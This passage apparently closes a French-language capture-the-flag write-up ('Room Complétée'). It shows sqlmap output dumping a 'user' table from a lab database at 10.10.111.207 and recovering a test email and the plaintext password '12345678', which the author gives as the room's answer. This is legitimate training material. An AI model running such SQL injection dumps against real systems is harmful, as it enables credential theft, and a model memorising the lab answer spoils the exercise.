[15:02:16] [INFO] retrieved: 'varchar(512)'
[15:02:16] [INFO] retrieved: 'created'
[15:02:16] [INFO] retrieved: 'timestamp'
[15:02:16] [INFO] fetching entries for table 'user' in database 'ai'
[15:02:16] [INFO] retrieved: '1'
[15:02:16] [INFO] retrieved: '12345678'
[15:02:16] [INFO] retrieved: '2023-02-21 09:05:46'
[15:02:17] [INFO] retrieved: 'test@chatai.com'
Database: ai
Table: user
[1 entry]
+------+-----------------+---------------------+------------+
| id   | email           | created             | password   |
+------+-----------------+---------------------+------------+
| 1    | test@chatai.com | 2023-02-21 09:05:46 | 12345678   |
+------+-----------------+---------------------+------------+

[15:02:17] [INFO] table 'ai.`user`' dumped to CSV file '/root/.sqlmap/output/10.10.111.207/dump/ai/user.csv'
[15:02:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.111.207'
[15:02:17] [WARNING] you haven't updated sqlmap for more than 2031 days!!!

[*] ending @ 15:02:17 /2025-10-25/

Et boom on a le mot de passe de l’email

Réponse : 12345678

Room Complétée

This post is licensed under CC BY 4.0 by the author.